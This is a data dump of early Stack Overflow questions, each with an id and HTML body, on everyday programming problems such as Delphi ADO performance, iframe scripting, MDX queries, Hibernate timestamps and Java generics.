369,024 | <p>How do I achieve the equivalent of the LVIS_CUT style for a listview item? It looks like it's not exposed by the framework? Should I P/Invoke?</p>
<p>Edit: LVIS_CUT is a Win32 style that affects the look of the item: It grays the item image. You can see it in action in Windows Explorer: Select a file and type Ctrl+X.</p>
<p>TIA.</p>

369,026 | <p>I have a page with a <code>document.onkeydown</code> event handler, and I'm loading it inside an iframe in another page. I have to click inside the iframe to get the content page to start "listening". </p>
<p>Is there some way I can use JavaScript in the outer page to set the focus to the inner page so I don't have to click inside the iframe?</p>
<p>EDIT: response to comment: </p>
<p>The context is the main window is a light-box-like system, except instead of pictures, it shows iframes, and each iframe is an interactive page with keydown/mousemove handlers. these handlers don't fire until I click in the iframe after showing the light-box-thing.</p>
<p>I'm not actually looking to "setFocus" in the traditional sense as much as "enable event handlers on the iframe contentDocument"</p>

369,042 | <p>I have a table with doctor offices and doctors in those offices that I'm populating to a repeater control. The data coming back is not aggregated. So, if there are 2 doctors in 1 office, there are 2 rows, same office, different doctor. </p>
<p>Is there a way to aggregate the data so the repeater shows 1 office with all of the doctors from that office so I can avoid the duplication?</p>

369,065 | <p>I'm about to start a project where programmers will be contributing from their homes (much like stackoverflow was built)</p>
<p>I want to use some centralized source control, but I don't want it to require the programmers to be online, and the server may come offline from time to time (as at first it'll probably be my desktop machine)</p>
<p>I think I remember Jeff talking about this in some podcast, but I don't remember which one.</p>
<p>Is there a source control tool that works perhaps asynchronically by e-mail?
Programmers could connect to download the latest version, and the checkin process would be sending files to an email account for example</p>
<p>Does such a thing exist?</p>
<p>EDIT: Sorry, I forgot to say that I'll be working with .NET (Visual Studio 2008)</p>
<p>It'd be great if it could be integrated into this environment... does GIT (suggested below) support that?</p>

369,102 | <p>Does anyone know how I could go about doing something like :</p>
<p>Html.ActionLink(c => c.SomeAction(new MessageObject { Id = 1 } ))</p>
<p>This should output a link with the url of "/Controller/SomeAction/1", pointing at an ActionMethod along the lines of:</p>
<pre><code>public Controller : Controller
{
public ActionResult SomeMethod(MessageObject message)
{
// do something with the message
return View();
}
}
</code></pre>
<p>I've written something similar for generating forms, but that doens't need to include the Id value on the end of the Url. Basically I want to do some sort of reverse lookup in my routes but I can't find any doco on how I might go about doing that. I have a ModelBinder setup that is able to build a MessageObject from GET and POST parameters, but I'm not sure how I can reverse the process.</p>
<p>Thanks,
Matt</p>

369,104 | <p>I'm looking to automate the backup of a Windows XP file structure (a wiki) into CVS.<br>
Through repeated calls to <em>cvs commit</em> and <em>cvs add</em> I can identify and commit changed files and newly added files, but I can't see a cvs command that would let me know a local file has been deleted. </p>
<p>One possibility would be to update a parallel file structure with the latest files from the repository and then remove those files that only appear in second structure, but I was hoping there was a more efficient solution? </p>

369,120 | <p>Every now and then I get an error when I set up states in an MXML file. The error I get says that mx:states could not be resolved to a component implementation.</p>
<p>I read, at the following url, that this issue is caused by extending components - that somehow throws off the compiler's ability to resolve mx:states. I don't see why this should be the case, but I don't have any answer of my own. I also can't necessarily make this approach work with all of my extended components.</p>
<p><a href="http://life.neophi.com/danielr/2007/01/could_not_resolve_to_a_compone.html" rel="nofollow noreferrer">http://life.neophi.com/danielr/2007/01/could_not_resolve_to_a_compone.html</a></p>
<p>The workaround I've come up with is to not use any namespace.
So, my code then looks like this:</p>
<pre><code><states>...</states>
</code></pre>
<p>rather than:</p>
<pre><code><mx:states>...</mx:states>
</code></pre>
<p>Making this stranger (at least, to me) is the fact that the children of the tag - - does not have this issue. mx:states can not be resolved, but its child mx:State can. And mx:SetProperty - a child of mx:State - is also resolved.</p>
<p>Can anyone explain this, and/or offer a better solution to the problem than what I've come up with?</p>
<p>Incidentally, I see the same issue with mx:transitions.</p>

369,128 | <p>I have a simple iPhone app that has a tab bar and 3 tabs. Each tab loads as a separate nib with a corresponding controller. Each nib contains a tableview with some other controls for searching/filtering etc.</p>
<p>What I would like (and cant seem to find an example of) is adding a navigation controller to the app so each nib (i.e. each tab) can drill down to further detail pages.</p>
<p>Should I be adding a navigation controller to the main window and creating an <code>IBOutlet</code> for it or should the NC be added to the nibs.</p>

369,132 | <p>I have two services and am sending pretty chunky messages between them (~100kb). Though the previously mentioned value is typical of the size of the message, it is possible for it to fluctuate greatly (in both positive and negative directions).</p>
<p>Thus, to deal with such situations where i have to transport a swollen message I have cranked up all the max message size, max string size etc attributes in the app.config on both client and server end (with the relevant endpoint correctly referencing the binding which states the sizes).</p>
<p>The bound I have put in completely exceeds any possible message size for safety's sake. However, where the inter-service communication has proved reliable at the lower end of the message size scale, at the higher end this is not so - messages do not seem to be delivered at all.</p>
<p>The strangest thing is that <em>if</em> the message had exceeded max size then an exception would be thrown (I have encountered enough of these to know this! lol), but nothing gets thrown - it all passes by completely silently. I have experimented with various sizes of messages and it definitely only begins to happen as the message size grows. I can prove are not being received by the destination service as, upon reception, the service makes a log in a DB - but with big messages, no log is made.</p>
<p>As I said, I am almost certain I have increased the size of all applicable attributes in the app.config, and so am completely and utterly baffled by this behaviour!</p>
<p>Any suggestions on what could be causing such mystifying behaviour?</p>

369,145 | <p>When the following two lines of code are executed in a bash script, "ls" complains that the files don't exist:</p>
<pre><code>dirs=/content/{dev01,dev02}
ls -l $dirs

<p>If I execute the "ls" command from my interactive shell (sans quotes), it returns the two directories.</p>
<p>I've been reading through the Bash Reference Manual (v 3.2) and can't see any reason for filename globbing to not take place (I'm not passing -f to the shell), or anything that I can set to ensure that globbing happens.</p>

369,150 | <p>I know with python and a couple other languages there is a way to safely make install a newer generational version of a language onto a machine, but after digging through PHP5's configure & makefile the only thing I've seen is the prefix dir option and the ini scan path.</p>
<p>Ideally I'd like php5 to have its own lib/bin subdirectories in /usr/local and then I can just put php5 after php4 in the path or make a symbolic link from the php5 binaries to php5-cli, php5-cgi, etc. </p>
<p>Also, am I missing anything dramatically bad here, the server in question is a legacy application server that's still somewhat busy and is due to be deprecated by June of 2009 but in the meantime the plan is to start updating parts with php5 code.</p>
<p>Machine states:
CENTOS 5
PHP 4 was built from a source RPM outside of yum's control</p>
<p>Most of php4 is in ambiguous directories:
/usr/{include,lib}/php </p>

369,177 | <p>When I try to connect to WMI from Powershell, ConfigMgr, or WMI explorer, I can talk to the majority of my computers, but some (maybe 30%?) return an 0x800706ba (RPC server is unavailable).</p>

369,187 | <p><strong>Please note the Edit below for a lot more information, and a possible solution</strong></p>
<p>We recently modified a large Delphi application to use ADO connections and queries instead of BDE connections and queries. Since that change, performance has become terrible.</p>
<p>I've profiled the application and the bottleneck seems to be at the actual call to <code>TADOQuery.Open</code>. In other words, there isn't much I can do from a code standpoint to improve this, other than restructuring the application to actually use the database less.</p>
<p>Does anyone have suggestions about how to improve the performance of an ADO-connected Delphi application? I've tried both of the <a href="http://dn.codegear.com/print/27790" rel="noreferrer">suggestions given here</a>, with virtually no impact.</p>
<p>To give an idea of the performance difference, I benchmarked the same large operation:</p>
<ul>
<li><p>Under BDE: 11 seconds</p></li>
<li><p>Under ADO: 73 seconds</p></li>
<li><p>Under ADO after the changes referenced by that article: 72 seconds</p></li>
</ul>
<p>We are using an Oracle back-end in a client-server environment. Local machines each maintain a separate connection to the database.</p>
<p>For the record, the connection string looks like this:</p>
<pre><code>const
c_ADOConnString = 'Provider=OraOLEDB.Oracle.1;Persist Security Info=True;' +
'Extended Properties="plsqlrset=1";' +
'Data Source=DATABASE.DOMAIN.COM;OPTION=35;' +
'User ID=******;Password=*******';
</code></pre>
<p>To answer the questions posed by zendar:</p>
<p>I'm using Delphi 2007 on Windows Vista and XP.</p>
<p>The back end is an Oracle 10g database.</p>
<p>As indicated by the connection string, we are using the OraOLEDB driver.</p>
<p>The MDAC version on my benchmark machine is 6.0.</p>
<p><strong>Edit:</strong></p>
<p>Under the BDE, we had a lot of code that looked like this:</p>
<pre><code>procedure MyBDEProc;
var
qry: TQuery;
begin
//fast under BDE, but slow under ADO!!
qry := TQuery.Create(Self);
try
with qry do begin
Database := g_Database;
Sql.Clear;
Sql.Add('SELECT');
Sql.Add(' FIELD1');
Sql.Add(' ,FIELD2');
Sql.Add(' ,FIELD3');
Sql.Add('FROM');
Sql.Add(' TABLE1');
Sql.Add('WHERE SOME_FIELD = SOME_CONDITION');
Open;
//do something
Close;
end; //with
finally
FreeAndNil(qry);
end; //try-finally
end; //proc
</code></pre>
<p>But we found that the call to <code>Sql.Add</code> is actually very expensive under ADO, because the <code>QueryChanged</code> event is fired every time you change the <code>CommandText</code>. So replacing the above with this was MUCH faster:</p>
<pre><code>procedure MyADOProc;
var
qry: TADOQuery;
begin
//fast(er) under ADO
qry := TADOQuery.Create(Self);
try
with qry do begin
Connection := g_Connection;
Sql.Text := ' SELECT ';
+ ' FIELD1 '
+ ' ,FIELD2 '
+ ' ,FIELD3 '
+ ' FROM '
+ ' TABLE1 '
+ ' WHERE SOME_FIELD = SOME_CONDITION ';
Open;
//do something
Close;
end; //with
finally
FreeAndNil(qry);
end; //try-finally
end; //proc
</code></pre>
<p>Better yet, you can copy <code>TADOQuery</code> out of ADODB.pas, rename it under a new name, and rip out the <code>QueryChanged</code> event, which as far as I can tell, is not doing anything useful at all. Then use your new, modified version of TADOQuery, instead of the native one.</p>
<pre><code>type
TADOQueryTurbo = class(TCustomADODataSet)
private
//
protected
procedure QueryChanged(Sender: TObject);
public
FSQL: TWideStrings;
FRowsAffected: Integer;
function GetSQL: TWideStrings;
procedure SetSQL(const Value: TWideStrings);
procedure Open;
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function ExecSQL: Integer; {for TQuery compatibility}
property RowsAffected: Integer read FRowsAffected;
published
property CommandTimeout;
property DataSource;
property EnableBCD;
property ParamCheck;
property Parameters;
property Prepared;
property SQL: TWideStrings read FSQL write SetSQL;
end;
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
constructor TADOQueryTurbo.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FSQL := TWideStringList.Create;
TWideStringList(FSQL).OnChange := QueryChanged;
Command.CommandText := 'SQL'; { Do not localize }
end;
destructor TADOQueryTurbo.Destroy;
begin
inherited;
inherited Destroy;
FreeAndNil(FSQL);
end;
function TADOQueryTurbo.ExecSQL: Integer;
begin
CommandText := FSQL.Text;
inherited;
end;
function TADOQueryTurbo.GetSQL: TWideStrings;
begin
Result := FSQL;
end;
procedure TADOQueryTurbo.Open;
begin
CommandText := FSQL.Text;
inherited Open;
end;
procedure TADOQueryTurbo.QueryChanged(Sender: TObject);
begin
// if not (csLoading in ComponentState) then
// Close;
// CommandText := FSQL.Text;
end;
procedure TADOQueryTurbo.SetSQL(const Value: TWideStrings);

FSQL.Assign(Value);
CommandText := FSQL.Text;

369,198 | <p>I have the following problem. If I query values with a keyfigure which is a function I can't specify multiple values of the same dimension restriction, but if it is not a function it works.</p>
<p>So this works:</p>
<pre><code>SELECT {[Measures].[Netto]} on columns FROM TDC where
({NonEmpty([Time].[Month].[Month].&[2008-03-01T00:00:00]),
NonEmpty([Time].[Month].[Month].&[2008-04-01T00:00:00])})
</code></pre>
<p>But this doesn't:</p>
<pre><code>SELECT {[Measures].[CalculatedFunction]} on columns FROM TDC where
({NonEmpty([Time].[Month].[Month].&[2008-03-01T00:00:00]),
NonEmpty([Time].[Month].[Month].&[2008-04-01T00:00:00])})
</code></pre>
<p>And this also works:</p>
<pre><code>SELECT {[Measures].[CalculatedFunction]} on columns FROM TDC where
({NonEmpty([Time].[Month].[Month].&[2008-03-01T00:00:00])})
</code></pre>
<p>I guess the solution is something like adding the where clause to the header but I really like this solution because it's so simple.</p>
<p>The Calucated function is:</p>
<pre><code>CREATE MEMBER CURRENTCUBE.[MEASURES].Ultimo
AS (iif ((not [Time].[Year - Month - Date].currentmember is [Time].[Year - Month - Date].defaultmember),
IIF(NOT ([Measures].[LagerStk] = 0),
Sum([Time].[Year - Month - Date].[Date].members(0):
ClosingPeriod([Time].[Year - Month - Date].[Date]),
[Measures].[LagerStk]), NULL)
,
IIF(NOT ([Measures].[LagerStk] = 0),
Sum([Time].[Year - Week - Date].[Date].members(0):
ClosingPeriod([Time].[Year - Week - Date].[Date]),
[Measures].[LagerStk]), NULL))),
VISIBLE = 1;
</code></pre>
<p>The code is inspired from this and modified for two hierarchies in the time dimension: <a href="http://www.sqlserveranalysisservices.com/OLAPPapers/InventoryManagement%20in%20AS2005v2.htm" rel="nofollow noreferrer">http://www.sqlserveranalysisservices.com/OLAPPapers/InventoryManagement%20in%20AS2005v2.htm</a></p>

369,213 | <p>I am writing a addressbook module for my software right now. I have the database set up so far that it supports a very flexible address-book configuration.</p>
<p>I can create n-entries for every type I want. Type means here data like 'email', 'address', 'telephone' etc.</p>
<p>I have a table named 'contact_profiles'.</p>
<p>This only has two columns:</p>
<pre><code>id Primary key
date_created DATETIME
</code></pre>
<p>And then there is a table called contact_attributes. This one is a little more complex:</p>
<pre><code>id PK
#profile (Foreign key to contact_profiles.id)
type VARCHAR describing the type of the entry (name, email, phone, fax, website, ...) I should probably change this to a SET later.
value Text (containing the value for the attribute).
</code></pre>
<p>I can now link to these profiles, for example from my user's table. But from here I run into problems.</p>
<p>At the moment I would have to create a JOIN for each value that I want to retrieve.
Is there a possibility to somehow create a View, that gives me a result with the type's as columns?</p>
<p>So right now I would get something like</p>
<pre><code>#profile type value
1 email name@domain.tld
1 name Sebastian Hoitz
1 website domain.tld
</code></pre>
<p>But it would be nice to get a result like this:</p>
<pre><code>#profile email name website
1 name@domain.tld Sebastian Hoitz domain.tld
</code></pre>
<p>The reason I do not want to create the table layout like this initially is, that there might always be things to add and I want to be able to have multiple attributes of the same type.</p>
<p>So do you know if there is any possibility to convert this dynamically?</p>
<p>If you need a better description please let me know.</p>

369,220 | <p>I entered this statement in JSLint:</p>
<pre><code>var number = new Number(3);
</code></pre>
<p>And received the following message:</p>
<blockquote>
<p>Do not use Number as a constructor.</p>
</blockquote>
<p>Why is that? The statement is creating a number object, not a primitive value, so I don't see why using <code>new</code> is a problem.</p>
<p><strong>EDIT:</strong> Thanks for all the responses. They've got me thinking further, so I posted a follow-up question <a href="https://stackoverflow.com/questions/369424/question-about-objectmethod-in-javascript">here</a>.</p>

369,230 | <p>I am using Django and the Google Web Toolkit (GWT) for my current project. I would like to pass a ModelForm instance to GWT via an Http response so that I can "chop" it up and render it as I please. My goal is to keep the form in sync with changes to my models.py file, yet increase control I have over the look of the form. However, the django classes for serialization, serializers and simplejson, cannot serialize a ModelForm. Neither can cPickle. What are my alternatives? </p>

369,246 | <p><strong>Background</strong></p>
<p>I have made a Web Service in Visual Studio, and I'm trying to consume it using the automatically generated proxy class. The Web Service returns a class that I have implemented, containing a List.</p>
<p><strong>Question</strong></p>
<p>The proxy class has automatically generated methods to send the SOAP to the web service. It uses the Invoke() method to execute the call, and then casts the result as a DataSet. How can I get this object back into the class I know it is?</p>
<p>I know that I can hand-edit the auto-generated file, but that's not very maintainable, so I don't want to go down that route (any time the Web Service is rebuilt, the changes would have to be made again).</p>
<p>Is there a way to tell the generated class to be more specific, and actually use the correct data type? Or do I have to write a clunky set of deserialisers to get my data back into the correct shape?</p>
<p><strong>Example</strong></p>
<p>One method in my Web Service class:</p>
<pre><code>[WebMethod]
public UpdateList RetrieveUpdates(long sessionID, string configurationVersion, string coreVersion, string researcherDBVersion)
{ ... }
</code></pre>
<p>Adding the class as a Web Reference generates the following proxy method:</p>
<pre><code>public DataSet RetrieveUpdates(long sessionID, string configurationVersion, string coreVersion, string researcherDBVersion) {
object[] results = this.Invoke("RetrieveUpdates", new object[] {
sessionID,
configurationVersion,
coreVersion,
researcherDBVersion});
return ((DataSet)(results[0]));
}
</code></pre>
<p>The DataSet I receive from this method is always empty (because you can't cast from my class to a DataSet).</p>
<p>Thanks in advance</p>

369,248 | <p>I have been reading the proper article in MSDN, <em><a href="http://msdn.microsoft.com/en-us/library/wd40t7ad.aspx" rel="noreferrer">Strong-Named Assemblies</a></em> and a related Stack Overflow question, <em><a href="https://stackoverflow.com/questions/308756">Checking an assembly for a strong name</a></em>.</p>
<ol>
<li>To which extent can a strong-named assembly be verified to avoid tampering?</li>
<li>Is it possible to use strong-naming to verify an assembly author?</li>
</ol>
<p>The first question arises after reading the CSharp411 article <em><a href="http://www.csharp411.com/net-assembly-faq-part-3-strong-names-and-signing/" rel="noreferrer">.NET Assembly FAQ – Part 3 – Strong Names and Signing</a></em>, which mentions this, among other problems of using strong names:</p>
<blockquote>
<p>"<strong><em>Cannot Stop Full Replacement.</strong> Strong names cannot prevent a hacker from removing the strong name signature, maliciously modifying your assembly, re-signing it with his own key, and then passing off his assembly as yours.</em>"</p>
</blockquote>
<p>The second question intends to find the differences between strong naming and other signing schemes like, say, <a href="http://www.iss.net/security_center/advice/Countermeasures/Authentication/Authenticode/default.htm" rel="noreferrer">Authenticode</a>. The same MSDN article mentioned early states:</p>
<blockquote>
<p>"<em>Note, however, that strong names in and of themselves do not imply a level of trust like that provided, for example, by a digital signature and supporting certificate.</em>"</p>
</blockquote>
<p>Am I trying to use strong-naming for much more than it was created for? Was strong-naming created just to avoid name clashes or a new kind of "GAC DLL Hell"?</p>

369,277 | <p>We've got a page in our asp.net web system that uses response.redirect to redirect the user directly to an excel file so it will download "automatically" without the user having to to a right click / save as.</p>
<p>This works great - except for files over about 100k in IE7. Other browsers just download the large file fine, and IE works fine under that threshold, but at somewhere about 200k, IE just starts handing out "page cannot be displayed" errors.</p>
<p>Obviously, we'd like the user to be able to download in IE as well - any ideas? Is there some kind of download size threshold thing I can override?</p>

369,288 | <p>I'm using interface builder's tag feature to access some UILabels I'm instantiating in a xib file. Since this a UITextViewCell I want to avoid superfluous method calls, but I want to do it right too. Thus when I do:</p>
<pre><code>UILabel *label = (UILabel *)[cell viewWithTag:1];
</code></pre>
<p>I'm wondering if I should wrap it up like so:</p>
<pre><code>if([[cell viewWithTag:1] isKindOfClass [UITableViewCell class]]) {
UILabel *label = (UILabel *)[cell viewWithTag:1];
}

369,291 | <p>In a multi-server environment, users will be able to use a page to put, update or delete files on the servers. I was considering using a webservice (on each server) called by the IIS thread to do that work (with an aspx management page).</p>
<p>However, for obvious reasons, I don't really want anyone to be able to call that webservice (by POSTing a well-formed request from their machines).</p>
<p>I am wondering what would be the most effective (in terms of complexity, scalability) way to ensure that the access to the webservice is restricted to my page (token? Sending the current user's Principal? I don't have access to their password so sending the login/password couple is out of the question)</p>

369,348 | <p>I have a number of icons used throughout an application - let's take ok/cancel icons as an example. At the moment they might be a tick and a cross (tick.png, cross.png) but I may want to replace them in future. Also, I would like to keep the resource path in one place.</p>
<p>Is this ok:</p>
<pre><code>public class Icons {
public static Icon OK = new ImageIcon(Icons.class.getResource("/icons/tick.png");
public static Icon CANCEL = new ImageIcon(Icons.class.getResource("/icons/cross.png");
}
</code></pre>
<p>Or should I be doing this a different way? I don't mind relying on the existence of the image files at runtime since they're in the .jar</p>
<p><strong>Solution</strong></p>
<p>I've used Bent's idea for initialisation, and I've made the constants final:</p>
<pre><code>public final class Icons {
private static final Logger logger = Logger.getLogger(Icons.class);
public static final Icon OK = icon("/icons/add.png");
public static final Icon CANCEL = icon("/icons/cancel.png");
private static Icon icon(String path) {
URL resource = Icons.class.getResource(path);
if(resource==null) {
logger.error("Resource "+path+" does not exist");
return new ImageIcon();
}
return new ImageIcon(resource);
}
}
</code></pre>

<p>When I link a table in MS Access, the pick list that appears shows me every table and view in the system I have access to. This list is quite large. Normally, I really only want to look at the tables that I own. Is there a way to filter the items displayed based on owner, or any other criteria?</p>

369,362 | <p>I have a table named categories, which contains ID(long), Name(varchar(50)), parentID(long), and shownByDefault(boolean) columns. </p>
<p>This table contains 554 records. All the shownByDefaultValues are 'false'.<br>
When I execute 'select id, name from categories', pg returns me all the categories,
orderer by its id.<br>
Then I update some of the rows of the table('update categories set shownByDefault where parentId = 1'), update OK.<br>
Then, when I try to execute the first query, which returns all the categories, they are
returner with a very weird order.<br>
I do not have problem to add 'order by', but since I am using JPA to get this values, anyone knows what the problem is or if there is a way to fix this?</p>

369,364 | <p>I'd like to know if it's possible to compile an .swf file at runtime via C# (would be called via a Flex Application). I've read some articles about using fsch.exe, but nothing that gave any concrete examples.</p>
<p>I'm fairly certain this is possible, so a secondary question is whether it's feasible on a medium scale. I'd like to allow users to configure an swf, and then compile those settings directly into the swf for delivery rather than relying on external data storage for holding configuration details.</p>
<p>Thanks in advance for any assistance you can offer - </p>
<p>Bill</p>

369,367 | <p>I thought this was pretty straight forward but I don't get the same results as the tutorials I read. I have a button on an html page that calls a function in script tags. I also have a reference to the prototype.js file which I haven't even begun to implement yet. If I leave that reference in the page, my function call does not work from the button's onclick event. Below is what is called from the button onclick event.</p>
<p> </p>

<pre><code>callIt = function(){
alert('It worked!');
}

369,383 | <p>I am thinking about something like this:</p>
<pre><code>public static <T extends Comparable<T>> T minOf(T...ts){
SortedSet<T> set = new TreeSet<T>(Arrays.asList(ts));
return set.first();
}
public static <T extends Comparable<T>> T maxOf(T...ts){
SortedSet<T> set = new TreeSet<T>(Arrays.asList(ts));
return set.last();
}
</code></pre>
<p>But is not null safe, which is something I want too.</p>
<p>Do you know a better way to solve this problem?</p>
<p>EDIT:</p>
<p>After the comments I have also tried min():</p>
<pre><code>public static <T extends Comparable<T>> T minOf(T...ts){
return Collections.min(Arrays.asList(ts), new Comparator<T>(){
public int compare(T o1, T o2) {
if(o1!=null && o2!=null){
return o1.compareTo(o2);
}else if(o1!=null){
return 1;
}else{
return -1;
}
}});
}
</code></pre>
<p>What do you think of that?</p>

369,417 | <p>I'm puzzling over how to map a set of sequences to consecutive integers.</p>
<p>All the sequences follow this rule:</p>
<pre><code>A_0 = 1
A_n >= 1
A_n <= max(A_0 .. A_n-1) + 1
</code></pre>
<p>I'm looking for a solution that will be able to, given such a sequence, compute a integer for doing a lookup into a table and given an index into the table, generate the sequence.</p>
<p>Example: for length 3, there are 5 the valid sequences. A fast function for doing the following map (preferably in both direction) would be a good solution</p>
<pre><code>1,1,1 0
1,1,2 1
1,2,1 2
1,2,2 3
1,2,3 4
</code></pre>
<hr>
<ul>
<li>The point of the exercise is to get a packed table with a 1-1 mapping between valid sequences and cells.</li>
<li>The size of the set in bounded only by the number of unique sequences possible.</li>
<li>I don't know now what the length of the sequence will be but it will be a small, <12, constant known in advance.</li>
<li>I'll get to this sooner or later, but though I'd throw it out for the community to have "fun" with in the meantime.</li>
</ul>
<hr>
<p>these are different valid sequences</p>
<pre><code>1,1,2,3,2,1,4
1,1,2,3,1,2,4
1,2,3,4,5,6,7
1,1,1,1,2,3,2
</code></pre>
<p>these are not</p>
<pre><code>1,2,2,4
2,
1,1,2,3,5
</code></pre>
<hr>

369,424 | <p>This is a follow-up question to <a href="https://stackoverflow.com/questions/369220/why-should-you-not-use-number-as-a-constructor">this one</a>.</p>
<p>Take a look at these two examples: </p>
<pre><code>var number1 = new Number(3.123);
number1 = number1.toFixed(2);
alert(number1);
var number2 = 3.123;
number2 = number2.toFixed(2);
alert(number2);
</code></pre>
<p>I realize they both end up with the same value, but is it correct thinking to refer to a method of a primitive value? (In other words, 3.123.method as opposed to object.method?)</p>

369,438 | <p>I'm currently writing a program to generate really enormous (65536x65536 pixels and above) Mandelbrot images, and I'd like to devise a spectrum and coloring scheme that does them justice. The <a href="http://en.wikipedia.org/wiki/File:Mandel_zoom_00_mandelbrot_set.jpg" rel="noreferrer">wikipedia featured mandelbrot image</a> seems like an excellent example, especially how the palette remains varied at all zoom levels of the sequence. I'm not sure if it's rotating the palette or doing some other trick to achieve this, though.</p>
<p>I'm familiar with the <a href="http://en.wikipedia.org/wiki/Mandelbrot_set#Continuous_.28smooth.29_coloring" rel="noreferrer">smooth coloring algorithm</a> for the mandelbrot set, so I can avoid banding, but I still need a way to assign colors to output values from this algorithm.</p>
<p>The images I'm generating are pyramidal (eg, a series of images, each of which has half the dimensions of the previous one), so I can use a rotating palette of some sort, as long as the change in the palette between subsequent zoom levels isn't too obvious.</p>

369,452 | <p>I am being powerfully tempted to use an unchecked exception as a short-circuit control-flow construct in a Java program. I hope somebody here can advise me on a better, cleaner way to handle this problem.</p>
<p>The idea is that I want to cut short the recursive exploration of sub-trees by a visitor without having to check a "stop" flag in every method call. Specifically, I'm building a control-flow graph using a visitor over the abstract syntax tree. A <code>return</code> statement in the AST should stop exploration of the sub-tree and send the visitor back to the nearest enclosing if/then or loop block. </p>
<p>The <code>Visitor</code> superclass (from the <a href="http://cs.nyu.edu/rgrimm/xtc/" rel="noreferrer">XTC library</a>) defines</p>
<pre><code>Object dispatch(Node n)
</code></pre>
<p>which calls back via reflection methods of the form</p>
<pre><code>Object visitNodeSubtype(Node n)
</code></pre>
<p><code>dispatch</code> is not declared to throw any exceptions, so I declared a private class that extends <code>RuntimeException</code></p>
<pre><code>private static class ReturnException extends RuntimeException {
}
</code></pre>
<p>Now, the visitor method for a return statement looks like</p>
<pre><code>Object visitReturnStatement(Node n) {
// handle return value assignment...
// add flow edge to exit node...
throw new ReturnException();
}
</code></pre>
<p>and every compound statement needs to handle the <code>ReturnException</code></p>
<pre><code>Object visitIfElseStatement(Node n) {
Node test = n.getChild(0);
Node ifPart = n.getChild(1);
Node elsePart = n.getChild(2);
// add flow edges to if/else...
try{ dispatch(ifPart); } catch( ReturnException e ) { }
try{ dispatch(elsePart); } catch( ReturnException e ) { }
}
</code></pre>
<p>This all works fine, except:</p>
<ol>
<li>I may forget to catch a <code>ReturnException</code> somewhere and the compiler won't warn me.</li>
<li>I feel dirty.</li>
</ol>
<p>Is there a better way to do this? Is there a Java pattern I am unaware of to implement this kind of non-local flow-of-control?</p>
<p>[UPDATE] This specific example turns out to be somewhat invalid: the <code>Visitor</code> superclass catches and wraps exceptions (even <code>RuntimeException</code>s), so the exception throwing doesn't really help. I've implemented the suggestion to return an <code>enum</code> type from <code>visitReturnStatement</code>. Luckily, this only needs to be checked in a small number of places (e.g., <code>visitCompoundStatement</code>), so it's actually a bit less hassle than throwing exceptions. </p>
<p>In general, I think this is still a valid question. Though perhaps, if you are not tied to a third-party library, the entire problem can be avoided with sensible design.</p>

369,460 | <p>I am using Hibernate 3.x, MySQL 4.1.20 with Java 1.6. I am mapping a Hibernate Timestamp to a MySQL TIMESTAMP. So far so good. The problem is that MySQL stores the TIMESTAMP in seconds and discards the milliseconds and I now need millisecond precision. I figure I can use a BIGINT instead of TIMESTAMP in my table and convert the types in my Java code. I'm trying to figure out if there is a better way of doing this using hibernate, mysql, JDBC or some combination so I can still use date functions in my HSQL and/or SQL queries?</p>

369,495 | <p>Are C-style macro names subject to the same naming rules as identifiers? After a compiler upgrade, it is now emitting this warning for a legacy application:</p>
<pre><code>warning #3649-D: white space is required between the macro name "CHAR_" and its replacement text
#define CHAR_& 38
</code></pre>
<p>This line of code is defining an ASCII value constant for an ampersand.</p>
<pre><code>#define DOL_SN 36
#define PERCENT 37
#define CHAR_& 38
#define RT_SING 39
#define LF_PAR 40
</code></pre>
<p>I assume that this definition (not actually referenced by any code, as far as I can tell) is buggy and should be changed to something like "CHAR_AMPERSAND"?</p>

369,498 | <p>Some websites have code to "break out" of <code>IFRAME</code> enclosures, meaning that if a page <code>A</code> is loaded as an <code>IFRAME</code> inside an parent page <code>P</code> some Javascript in <code>A</code> redirects the outer window to <code>A</code>.</p>
<p>Typically this Javascript looks something like this:</p>
<pre><code><script type="text/javascript">
if (top.location.href != self.location.href)
top.location.href = self.location.href;
</script>
</code></pre>
<p>My question is: As the author of the parent page <code>P</code> and not being the author of the inner page <code>A</code>, how can I prevent <code>A</code> from doing this break-out?</p>
<p>P.S. It seems to me like it ought to be a cross-site security violation, but it isn't.</p>

369,504 | <p>We are considering Microsoft DSL toolkit for creating some abstract designers. I already did some POCs, but would like to get some opinions on the same.</p>
<p>Any one here to share their experiences working with Microsoft DSL Toolkit and T4? Also, any pointers to open source DSL projects will help - Eg. Microsoft Service Factory modeling edition is heavily relying on DSL toolkit.</p>
<p>As OSLO/Quadrant will take some time to get released, I think the only option we have is to rely on Microsoft DSL designer. (<a href="http://blogs.msdn.com/keith_short/archive/2008/11/06/oslo-and-the-dsl-toolkit.aspx" rel="noreferrer">See Kieth's blog on the same</a>)</p>
<p>Also, here is some information I already have on DSL:</p>
<p>1 - <a href="http://code.msdn.microsoft.com/DSLToolsLab" rel="noreferrer">A Nice Lab in MSDN on DSL tools</a></p>
<p>2 - <a href="http://www.codeplex.com/site/search?ProjectSearchText=DSL" rel="noreferrer">A List of Projects in Codeplex using DSL toolkit</a></p>

369,506 | <p>I'm using a streamwriter to log errors</p>
<p>the way it has been designed (please dont ask why) is to open a new streamwriter everytime the application has to log a message. It outputs everything to ./Logs/[current-date].txt which usually resolves to "c:\myappfolder\logs[current-date].txt"</p>
<p>Everything works correctly, but after I use an open file dialog to say, "C:\home\myfolder\myfile" the streamwriter tries to write to "c:\home\myfolder\logs[current-date].txt"</p>
<p>I know solutions to this problem but i just dont understand what's going on</p>

369,510 | <p>I have an Excel file that has a bunch of VBA and macro code in it. When I open the file in Excel I can choose not to 'enable' them - so the values in the fields all stay as they were during the last save. I need to manipulate the values as they were last saved - so I don't want the macros (which look at the current date and update values accordingly) to run.</p>
<p>When I open it via our dot net code: </p>
<pre><code>Dim oxlRep As Excel.Application
Dim oWBRep As Excel.Workbook
Dim oSheetRep As Excel.Worksheet
Dim oRngRep As Excel.Range
oxlRep.Open(path)
</code></pre>
<p>the vb code runs - throwing off the values. I've been looking for a way to open it without macros, or in 'secure' mode where the macros aren't run. If I simply double click the file and don't choose to enable macros the values are all there as I want them. </p>
<p>Usually we run this code within the month that the files are created, so we haven't seen this problem in the 3 or 4 years that it has been working. Now I need to go back to some of the old files and run some archival code... </p>
<p>Anyone have a suggestion?</p>

369,512 | <p>Assume you have some objects which have several fields they can be compared by:</p>
